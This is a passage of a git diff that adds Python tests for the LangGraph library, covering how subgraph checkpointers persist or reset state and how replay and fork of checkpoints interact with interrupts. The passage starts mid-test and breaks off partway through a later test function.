Build a subgraph that interrupts before echoing. + # Two nodes: "process" interrupts then echoes, "respond" returns "Done". + def process(state: MessagesState) -> dict: + interrupt("continue?") + return { + "messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")] + } + + def respond(state: MessagesState) -> dict: + return {"messages": [AIMessage(content="Done")]} + + inner = ( + StateGraph(MessagesState) + .add_node("process", process) + .add_node("respond", respond) + .add_edge(START, "process") + .add_edge("process", "respond") + .compile() + ) + + async def call_inner(state: ParentState) -> dict: + resp = await inner.ainvoke({"messages": [HumanMessage(content="apples")]}) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=async_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + # First invoke hits the interrupt + result = await parent.ainvoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + + # Resume completes the subgraph + result = await parent.ainvoke(Command(resume=True), config) + assert result == {"result": "Done"} + + +@NEEDS_CONTEXTVARS +async def test_stateless_state_resets_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a subgraph compiled with checkpointer=None (the default) does + not retain any message history between separate parent invocations. Each time + the parent graph invokes the subgraph, it starts with a clean slate. This + confirms the "stateless" behavior: even though the parent has a checkpointer, + the subgraph state is not persisted across calls. + """ + + # Build a simple echo subgraph: echoes "Processing: " + def echo(state: MessagesState) -> dict: + return { + "messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")] + } + + inner = ( + StateGraph(MessagesState) + .add_node("echo", echo) + .add_edge(START, "echo") + .compile() + ) + + subgraph_messages: list[list[str]] = [] + call_count = 0 + + async def call_inner(state: ParentState) -> dict: + nonlocal call_count + call_count += 1 + topic = "apples" if call_count == 1 else "bananas" + resp = await inner.ainvoke( + {"messages": [HumanMessage(content=f"tell me about {topic}")]} + ) + subgraph_messages.append([m.text for m in resp["messages"]]) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=async_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + result1 = await parent.ainvoke({"result": ""}, config) + assert result1 == {"result": "Processing: tell me about apples"} + + result2 = await parent.ainvoke({"result": ""}, config) + assert result2 == {"result": "Processing: tell me about bananas"} + + # Both invocations produce fresh history — no memory of prior call + assert subgraph_messages[0] == [ + "tell me about apples", + "Processing: tell me about apples", + ] + assert subgraph_messages[1] == [ + "tell me about bananas", + "Processing: tell me about bananas", + ] + + +@NEEDS_CONTEXTVARS +async def test_stateless_state_resets_with_interrupt_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a subgraph compiled with checkpointer=None resets its state + between parent invocations even when interrupt/resume is used. The subgraph + is invoked twice from the parent, each time with an interrupt that must be + resumed. After both invoke+resume cycles, each subgraph run should only + contain its own messages — no bleed-over from the previous run. + """ + + # Build a subgraph that interrupts before echoing, then responds "Done" + def process(state: MessagesState) -> dict: + interrupt("continue?") + return { + "messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")] + } + + def respond(state: MessagesState) -> dict: + return {"messages": [AIMessage(content="Done")]} + + inner = ( + StateGraph(MessagesState) + .add_node("process", process) + .add_node("respond", respond) + .add_edge(START, "process") + .add_edge("process", "respond") + .compile() + ) + + subgraph_messages: list[list[str]] = [] + call_count = 0 + + async def call_inner(state: ParentState) -> dict: + nonlocal call_count + call_count += 1 + topic = "apples" if call_count == 1 else "bananas" + resp = await inner.ainvoke( + {"messages": [HumanMessage(content=f"tell me about {topic}")]} + ) + subgraph_messages.append([m.text for m in resp["messages"]]) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=async_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + # First invoke+resume cycle + result = await parent.ainvoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + result = await parent.ainvoke(Command(resume=True), config) + assert result == {"result": "Done"} + + # Second invoke+resume cycle + result = await parent.ainvoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + result = await parent.ainvoke(Command(resume=True), config) + assert result == {"result": "Done"} + + # Both invocations produce fresh history — no memory of prior call + assert subgraph_messages[0] == [ + "tell me about apples", + "Processing: tell me about apples", + "Done", + ] + assert subgraph_messages[1] == [ + "tell me about bananas", + "Processing: tell me about bananas", + "Done", + ] + + +# -- checkpointer=False -- + + +@NEEDS_CONTEXTVARS +async def test_checkpointer_false_no_persistence_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a subgraph compiled with checkpointer=False gets no + persistence at all, even when the parent graph has a checkpointer. Unlike + the default (checkpointer=None) which inherits just enough from the parent + to support interrupt/resume, checkpointer=False explicitly opts out of all + checkpoint behavior. Each invocation starts completely fresh. + """ + + # Build a simple echo subgraph with checkpointer=False + def echo(state: MessagesState) -> dict: + return { + "messages": [AIMessage(content=f"Processed: {state['messages'][-1].text}")] + } + + inner = ( + StateGraph(MessagesState) + .add_node("echo", echo) + .add_edge(START, "echo") + .compile(checkpointer=False) + ) + + subgraph_messages: list[list[str]] = [] + call_count = 0 + + async def call_inner(state: ParentState) -> dict: + nonlocal call_count + call_count += 1 + topic = "apples" if call_count == 1 else "bananas" + resp = await inner.ainvoke( + {"messages": [HumanMessage(content=f"tell me about {topic}")]} + ) + subgraph_messages.append([m.text for m in resp["messages"]]) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=async_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + result1 = await parent.ainvoke({"result": ""}, config) + assert result1 == {"result": "Processed: tell me about apples"} + + result2 = await parent.ainvoke({"result": ""}, config) + assert result2 == {"result": "Processed: tell me about bananas"} + + # Both start fresh — no history from first call + assert subgraph_messages[0] == [ + "tell me about apples", + "Processed: tell me about apples", + ] + assert subgraph_messages[1] == [ + "tell me about bananas", + "Processed: tell me about bananas", + ] + + +# -- checkpointer=True (stateful) -- + + +@NEEDS_CONTEXTVARS +async def test_stateful_state_accumulates_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a subgraph compiled with checkpointer=True ("stateful") + retains its message history across separate parent invocations. To enable + this, the subgraph is wrapped in an outer graph compiled with + checkpointer=True — this wrapper gives the inner subgraph its own persistent + checkpoint namespace. After two parent calls, the second subgraph invocation + should see messages from both the first and second calls. + """ + + # Build a simple echo subgraph + def echo(state: MessagesState) -> dict: + return { + "messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")] + } + + inner = ( + StateGraph(MessagesState) + .add_node("echo", echo) + .add_edge(START, "echo") + .compile() + ) + + # Wrap the inner subgraph with checkpointer=True to enable stateful. + # The wrapper graph gives the subgraph its own persistent checkpoint + # namespace, keyed by the node name ("agent"). + wrapper = ( + StateGraph(MessagesState) + .add_node("agent", inner) + .add_edge(START, "agent") + .compile(checkpointer=True) + ) + + subgraph_messages: list[list[str]] = [] + topics = ["apples", "bananas"] + + async def call_inner(state: ParentState) -> dict: + topic = topics[len(subgraph_messages)] + resp = await wrapper.ainvoke( + {"messages": [HumanMessage(content=f"tell me about {topic}")]} + ) + subgraph_messages.append([m.text for m in resp["messages"]]) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=async_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + result1 = await parent.ainvoke({"result": ""}, config) + assert result1 == {"result": "Processing: tell me about apples"} + + result2 = await parent.ainvoke({"result": ""}, config) + assert result2 == {"result": "Processing: tell me about bananas"} + + # First call: fresh history + assert subgraph_messages[0] == [ + "tell me about apples", + "Processing: tell me about apples", + ] + # Second call: retains messages from first call + assert subgraph_messages[1] == [ + "tell me about apples", + "Processing: tell me about apples", + "tell me about bananas", + "Processing: tell me about bananas", + ] + + +@NEEDS_CONTEXTVARS +async def test_stateful_state_accumulates_with_interrupt_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a stateful subgraph (checkpointer=True) retains its + message history across parent invocations even when interrupt/resume is + involved. The subgraph interrupts before echoing, then responds "Done". + After two invoke+resume cycles, the second run should contain the full + accumulated history from both calls. + """ + + # Build a subgraph that interrupts before echoing, then responds "Done" + def process(state: MessagesState) -> dict: + interrupt("continue?") + return { + "messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")] + } + + def respond(state: MessagesState) -> dict: + return {"messages": [AIMessage(content="Done")]} + + inner = ( + StateGraph(MessagesState) + .add_node("process", process) + .add_node("respond", respond) + .add_edge(START, "process") + .add_edge("process", "respond") + .compile() + ) + + # Wrap with checkpointer=True for stateful + wrapper = ( + StateGraph(MessagesState) + .add_node("agent", inner) + .add_edge(START, "agent") + .compile(checkpointer=True) + ) + + subgraph_messages: list[list[str]] = [] + topics = ["apples", "bananas"] + + async def call_inner(state: ParentState) -> dict: + topic = topics[len(subgraph_messages)] + resp = await wrapper.ainvoke( + {"messages": [HumanMessage(content=f"tell me about {topic}")]} + ) + subgraph_messages.append([m.text for m in resp["messages"]]) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=async_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + # First invoke+resume cycle + result = await parent.ainvoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + result = await parent.ainvoke(Command(resume=True), config) + assert result == {"result": "Done"} + + # Second invoke+resume cycle + result = await parent.ainvoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + result = await parent.ainvoke(Command(resume=True), config) + assert result == {"result": "Done"} + + # First call: fresh history + assert subgraph_messages[0] == [ + "tell me about apples", + "Processing: tell me about apples", + "Done", + ] + # Second call: retains messages from first call + assert subgraph_messages[1] == [ + "tell me about apples", + "Processing: tell me about apples", + "Done", + "tell me about bananas", + "Processing: tell me about bananas", + "Done", + ] + + +@NEEDS_CONTEXTVARS +async def test_stateful_interrupt_resume_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a stateful subgraph (checkpointer=True) correctly + supports interrupt/resume while also accumulating state. Each invoke+resume + pair triggers the subgraph, and after the second pair completes we verify + both the per-step invoke outputs and the accumulated message history. This + exercises the full lifecycle: interrupt, resume, state accumulation. + """ + + # Build a subgraph that interrupts before echoing, then responds "Done" + def process(state: MessagesState) -> dict: + interrupt("continue?") + return { + "messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")] + } + + def respond(state: MessagesState) -> dict: + return {"messages": [AIMessage(content="Done")]} + + inner = ( + StateGraph(MessagesState) + .add_node("process", process) + .add_node("respond", respond) + .add_edge(START, "process") + .add_edge("process", "respond") + .compile() + ) + + # Wrap with checkpointer=True for stateful + wrapper = ( + StateGraph(MessagesState) + .add_node("agent", inner) + .add_edge(START, "agent") + .compile(checkpointer=True) + ) + + subgraph_messages: list[list[str]] = [] + topics = ["apples", "bananas"] + + async def call_inner(state: ParentState) -> dict: + topic = topics[len(subgraph_messages)] + resp = await wrapper.ainvoke( + {"messages": [HumanMessage(content=f"tell me about {topic}")]} + ) + subgraph_messages.append([m.text for m in resp["messages"]]) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=async_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + # First invocation: hits interrupt + result = await parent.ainvoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + + # Resume: completes first call + result = await parent.ainvoke(Command(resume=True), config) + assert result == {"result": "Done"} + assert subgraph_messages[0] == [ + "tell me about apples", + "Processing: tell me about apples", + "Done", + ] + + # Second invocation: hits interrupt, state accumulated from first call + result = await parent.ainvoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + + # Resume: completes second call with accumulated state + result = await parent.ainvoke(Command(resume=True), config) + assert result == {"result": "Done"} + assert subgraph_messages[1] == [ + "tell me about apples", + "Processing: tell me about apples", + "Done", + "tell me about bananas", + "Processing: tell me about bananas", + "Done", + ] + + +@NEEDS_CONTEXTVARS +async def test_stateful_namespace_isolation_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that two different stateful subgraphs (checkpointer=True) + maintain completely independent state when they use different wrapper node + names. A "fruit_agent" and "veggie_agent" are each wrapped in their own + stateful graph. After two parent invocations, each agent should only + see its own accumulated history with no cross-contamination between them. + """ + + # Build two simple echo subgraphs with different prefixes + def fruit_echo(state: MessagesState) -> dict: + return {"messages": [AIMessage(content=f"Fruit: {state['messages'][-1].text}")]} + + def veggie_echo(state: MessagesState) -> dict: + return { + "messages": [AIMessage(content=f"Veggie: {state['messages'][-1].text}")] + } + + fruit_inner = ( + StateGraph(MessagesState) + .add_node("echo", fruit_echo) + .add_edge(START, "echo") + .compile() + ) + veggie_inner = ( + StateGraph(MessagesState) + .add_node("echo", veggie_echo) + .add_edge(START, "echo") + .compile() + ) + + # Wrap each with checkpointer=True, using different node names to get + # independent checkpoint namespaces + fruit = ( + StateGraph(MessagesState) + .add_node("fruit_agent", fruit_inner) + .add_edge(START, "fruit_agent") + .compile(checkpointer=True) + ) + veggie = ( + StateGraph(MessagesState) + .add_node("veggie_agent", veggie_inner) + .add_edge(START, "veggie_agent") + .compile(checkpointer=True) + ) + + fruit_msgs: list[list[str]] = [] + veggie_msgs: list[list[str]] = [] + call_count = 0 + + async def call_both(state: ParentState) -> dict: + nonlocal call_count + call_count += 1 + suffix = "round 1" if call_count == 1 else "round 2" + f = await fruit.ainvoke( + {"messages": [HumanMessage(content=f"cherries {suffix}")]} + ) + v = await veggie.ainvoke( + {"messages": [HumanMessage(content=f"broccoli {suffix}")]} + ) + fruit_msgs.append([m.text for m in f["messages"]]) + veggie_msgs.append([m.text for m in v["messages"]]) + return {"result": f["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_both", call_both) + .add_edge(START, "call_both") + .compile(checkpointer=async_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + result1 = await parent.ainvoke({"result": ""}, config) + assert result1 == {"result": "Fruit: cherries round 1"} + + result2 = await parent.ainvoke({"result": ""}, config) + assert result2 == {"result": "Fruit: cherries round 2"} + + # First call: each agent sees only its own history + assert fruit_msgs[0] == ["cherries round 1", "Fruit: cherries round 1"] + assert veggie_msgs[0] == ["broccoli round 1", "Veggie: broccoli round 1"] + + # Second call: each accumulated independently — no cross-contamination + assert fruit_msgs[1] == [ + "cherries round 1", + "Fruit: cherries round 1", + "cherries round 2", + "Fruit: cherries round 2", + ] + assert veggie_msgs[1] == [ + "broccoli round 1", + "Veggie: broccoli round 1", + "broccoli round 2", + "Veggie: broccoli round 2", + ] + + +@NEEDS_CONTEXTVARS +async def test_child_with_own_thread_id_keeps_namespace_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """A child graph invoked from inside a parent node with its own thread_id + must store and read its checkpoint under its own namespace, not inherit the + parent task's checkpoint_ns. + """ + + class ChildState(TypedDict): + count: int + + def child_node(state: ChildState) -> dict: + return {"count": (state.get("count") or 0) + 1} + + child = ( + StateGraph(ChildState) + .add_node("n", child_node) + .add_edge(START, "n") + .compile(checkpointer=async_checkpointer) + ) + + child_thread = str(uuid4()) + child_config = {"configurable": {"thread_id": child_thread}} + + async def parent_node(state: ParentState) -> dict: + await child.ainvoke({}, config=child_config) + return {"result": "ok"} + + parent = ( + StateGraph(ParentState) + .add_node("p", parent_node) + .add_edge(START, "p") + .compile(checkpointer=async_checkpointer) + ) + parent_config = {"configurable": {"thread_id": str(uuid4())}} + + await parent.ainvoke({"result": ""}, config=parent_config) + state1 = await child.aget_state(child_config) + assert state1.values.get("count") == 1 + assert state1.config["configurable"]["checkpoint_ns"] == "" + + await parent.ainvoke({"result": ""}, config=parent_config) + state2 = await child.aget_state(child_config) + assert state2.values.get("count") == 2 diff --git a/libs/langgraph/tests/test_time_travel.py b/libs/langgraph/tests/test_time_travel.py new file mode 100644 index 0000000..fe54427 --- /dev/null +++ b/libs/langgraph/tests/test_time_travel.py @@ -0,0 +1,3966 @@ +"""Tests for time travel (replay and fork) behavior. + +Covers the intersection of replay vs fork across graph structures: +- Replay & fork basics (no interrupt, no subgraph) +- Replay & fork with interrupts (no subgraph) +- Multiple / sequential interrupts +- Subgraph without interrupt +- Subgraph with interrupt +- __copy__ / update_state(None) +- Observability (get_state, config access) + +Key concepts: +- Replay (invoke with checkpoint_id): Re-executes nodes after the checkpoint. + Interrupts re-fire on replay. +- Fork (update_state then invoke): Creates a new checkpoint without cached + pending writes. Nodes re-execute and interrupts DO re-fire. +""" + +import operator +from typing import Annotated + +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import BaseCheckpointSaver +from typing_extensions import TypedDict + +from langgraph.graph import START, StateGraph +from langgraph.types import Command, interrupt + + +class State(TypedDict): + value: Annotated[list[str], operator.add] + + +def _checkpoint_summary(history: list) -> list[dict]: + """Summarize checkpoint history into a readable format for assertions. + + Returns a list of dicts (newest-first, matching get_state_history order) with: + - id: short checkpoint id suffix (last 6 chars) + - parent_id: short parent checkpoint id suffix or None + - source: checkpoint metadata source (input, loop, fork, update) + - next: tuple of next node names + - values: channel values snapshot + """ + summaries = [] + for s in history: + cid = s.config["configurable"]["checkpoint_id"] + pid = ( + s.parent_config["configurable"]["checkpoint_id"] + if s.parent_config + else None + ) + summaries.append( + { + "id": cid[-6:], + "parent_id": pid[-6:] if pid else None, + "source": s.metadata.get("source"), + "next": s.next, + "values": s.values, + } + ) + return summaries + + +# --------------------------------------------------------------------------- +# Section 1: Replay & fork basics (no interrupt, no subgraph) +# --------------------------------------------------------------------------- + + +def test_replay_reruns_nodes_after_checkpoint( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from checkpoint before node_b. node_b re-executes (it's after + the checkpoint), node_a does not.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + result = graph.invoke({"value": []}, config) + assert result == {"value": ["a", "b"]} + assert called == ["node_a", "node_b"] + + # Find checkpoint before node_b (next=(node_b,)) + history = list(graph.get_state_history(config)) + before_b = next(s for s in history if s.next == ("node_b",)) + + # Replay from checkpoint before node_b + called.clear() + replay_result = graph.invoke(None, before_b.config) + + assert replay_result == {"value": ["a", "b"]} + assert "node_b" in called + assert "node_a" not in called + + +def test_replay_from_final_checkpoint_is_noop( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from completed checkpoint (no next nodes) is a no-op.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_edge(START, "node_a") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + result = graph.invoke({"value": []}, config) + assert result == {"value": ["a"]} + + state = graph.get_state(config) + assert state.next == () + + called.clear() + replay_result = graph.invoke(None, state.config) + assert replay_result == {"value": ["a"]} + assert called == [] + + +def test_fork_reruns_with_modified_state( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Fork from checkpoint before node_b with modified state. node_b + re-executes with the new state.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + graph.invoke({"value": []}, config) + + history = list(graph.get_state_history(config)) + before_b = next(s for s in history if s.next == ("node_b",)) + + called.clear() + fork_config = graph.update_state(before_b.config, {"value": ["x"]}) + fork_result = graph.invoke(None, fork_config) + + assert "node_b" in called + assert fork_result == {"value": ["a", "x", "b"]} + + +def test_multiple_forks_from_same_checkpoint( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Two independent forks from the same checkpoint create independent + branches that don't affect each other.""" + + def node_a(state: State) -> State: + return {"value": ["a"]} + + def node_b(state: State) -> State: + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + graph.invoke({"value": []}, config) + + history = list(graph.get_state_history(config)) + before_b = next(s for s in history if s.next == ("node_b",)) + + fork1_config = graph.update_state(before_b.config, {"value": ["fork1"]}) + result1 = graph.invoke(None, fork1_config) + + fork2_config = graph.update_state(before_b.config, {"value": ["fork2"]}) + result2 = graph.invoke(None, fork2_config) + + assert "fork1" in result1["value"] + assert "fork2" not in result1["value"] + assert "fork2" in result2["value"] + assert "fork1" not in result2["value"] + + +# --------------------------------------------------------------------------- +# Section 2: Replay & fork with interrupts (no subgraph) +# --------------------------------------------------------------------------- + + +def test_replay_from_before_interrupt_refires( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from checkpoint before interrupt node. The node re-executes + and interrupt re-fires.""" + + call_count: dict[str, int] = {"node_a": 0, "ask_human": 0, "node_b": 0} + + def node_a(state: State) -> State: + call_count["node_a"] += 1 + return {"value": ["a"]} + + def ask_human(state: State) -> State: + call_count["ask_human"] += 1 + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + def node_b(state: State) -> State: + call_count["node_b"] += 1 + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt + result = graph.invoke({"value": []}, config) + assert "__interrupt__" in result + assert call_count["ask_human"] == 1 + + # Resume + result = graph.invoke(Command(resume="hello"), config) + assert result == {"value": ["a", "human:hello", "b"]} + assert call_count["ask_human"] == 2 # re-executes on resume + + # Find checkpoint before ask_human + history = list(graph.get_state_history(config)) + before_ask = [s for s in history if s.next == ("ask_human",)][-1] + + # Replay — interrupt re-fires, node re-executes + replay_result = graph.invoke(None, before_ask.config) + + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "What is your input?" + assert replay_result["value"] == ["a"] + assert call_count["ask_human"] == 3 # re-executed again + assert call_count["node_a"] == 1 # NOT re-executed (before checkpoint) + assert call_count["node_b"] == 1 # NOT re-executed (after interrupt) + + +def test_replay_from_before_interrupt_then_resume( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from checkpoint before interrupt node, then resume with a new + answer and verify the graph completes with the new value. + + Graph: START --> node_a --> ask_human (interrupt) --> node_b --> END + + Original run: + source=input next=(__start__,) values=[] + source=loop next=(node_a,) values=[] + source=loop next=(ask_human,) values=[a] <-- replay from here + source=loop next=(node_b,) values=[a, human:old_answer] + source=loop next=() values=[a, human:old_answer, b] + + After replay (fork created) + resume with "new_answer": + source=input next=(__start__,) values=[] + source=loop next=(node_a,) values=[] + source=loop next=(ask_human,) values=[a] <-- branch point + source=loop next=(node_b,) values=[a, human:old_answer] + source=loop next=() values=[a, human:old_answer, b] (old branch) + source=fork next=(ask_human,) values=[a] <-- fork from branch point + source=loop next=(node_b,) values=[a, human:new_answer] + source=loop next=() values=[a, human:new_answer, b] (new branch) + """ + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # --- Original run: invoke until interrupt, then resume to complete --- + graph.invoke({"value": []}, config) + graph.invoke(Command(resume="old_answer"), config) + + original_history = list(graph.get_state_history(config)) + original = _checkpoint_summary(original_history) + assert [(s["source"], s["next"], s["values"]) for s in original] == [ + ("loop", (), {"value": ["a", "human:old_answer", "b"]}), + ("loop", ("node_b",), {"value": ["a", "human:old_answer"]}), + ("loop", ("ask_human",), {"value": ["a"]}), + ("loop", ("node_a",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + # --- Replay from checkpoint before ask_human --- + before_ask = next(s for s in original_history if s.next == ("ask_human",)) + + called.clear() + replay_result = graph.invoke(None, before_ask.config) + assert replay_result["__interrupt__"][0].value == "What is your input?" + assert "ask_human" in called + assert "node_a" not in called # before the replay point, not re-executed + + # A fork checkpoint is now the latest — it branches from the replay point + post_replay = _checkpoint_summary(list(graph.get_state_history(config))) + assert [(s["source"], s["next"]) for s in post_replay] == [ + ("fork", ("ask_human",)), # <-- new fork (latest) + ("loop", ()), # original done + ("loop", ("node_b",)), + ("loop", ("ask_human",)), # branch point + ("loop", ("node_a",)), + ("input", ("__start__",)), + ] + + # --- Resume with a new answer --- + called.clear() + final_result = graph.invoke(Command(resume="new_answer"), config) + assert final_result["value"] == ["a", "human:new_answer", "b"] + assert "ask_human" in called + assert "node_b" in called + + final = _checkpoint_summary(list(graph.get_state_history(config))) + assert [(s["source"], s["next"], s["values"]) for s in final] == [ + # New branch (from fork) + ("loop", (), {"value": ["a", "human:new_answer", "b"]}), + ("loop", ("node_b",), {"value": ["a", "human:new_answer"]}), + ("fork", ("ask_human",), {"value": ["a"]}), + # Original branch (preserved) + ("loop", (), {"value": ["a", "human:old_answer", "b"]}), + ("loop", ("node_b",), {"value": ["a", "human:old_answer"]}), + ("loop", ("ask_human",), {"value": ["a"]}), + ("loop", ("node_a",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + +def test_replay_interrupt_stable_across_replays( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Replaying the same checkpoint multiple times consistently produces + identical results (interrupt re-fires each time).""" + + def node_a(state: State) -> State: + return {"value": ["a"]} + + def ask_human(state: State) -> State: + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + def node_b(state: State) -> State: + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + graph.invoke({"value": []}, config) + graph.invoke(Command(resume="cached_answer"), config) + + history = list(graph.get_state_history(config)) + before_ask = [s for s in history if s.next == ("ask_human",)][-1] + + results = [] + for _ in range(3): + r = graph.invoke(None, before_ask.config) + results.append(r) + + # Each replay creates a fork with a unique interrupt ID, so we compare + # interrupt values and state values rather than full equality. + assert all("__interrupt__" in r for r in results) + assert all( + r["__interrupt__"][0].value == results[0]["__interrupt__"][0].value + for r in results + ) + assert all(r["value"] == results[0]["value"] for r in results) + + +def test_fork_from_before_interrupt_refires( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Fork from checkpoint before interrupt node. Interrupt IS re-triggered + because fork has no cached resume values. Resume with new answer.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + graph.invoke({"value": []}, config) + graph.invoke(Command(resume="hello"), config) + + history = list(graph.get_state_history(config)) + before_ask = [s for s in history if s.next == ("ask_human",)][-1] + + called.clear() + fork_config = graph.update_state(before_ask.config, {"value": ["forked"]}) + fork_result = graph.invoke(None, fork_config) + + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "What is your input?" + + # Resume the forked interrupt with a different answer + final = graph.invoke(Command(resume="world"), fork_config) + assert final == {"value": ["a", "forked", "human:world", "b"]} + + +def test_fork_from_interrupt_checkpoint_refires( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Fork from the checkpoint where interrupt fired. Interrupt re-triggered + because fork clears cached data. Resume with different answer.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("What is your input?") + return {"value": 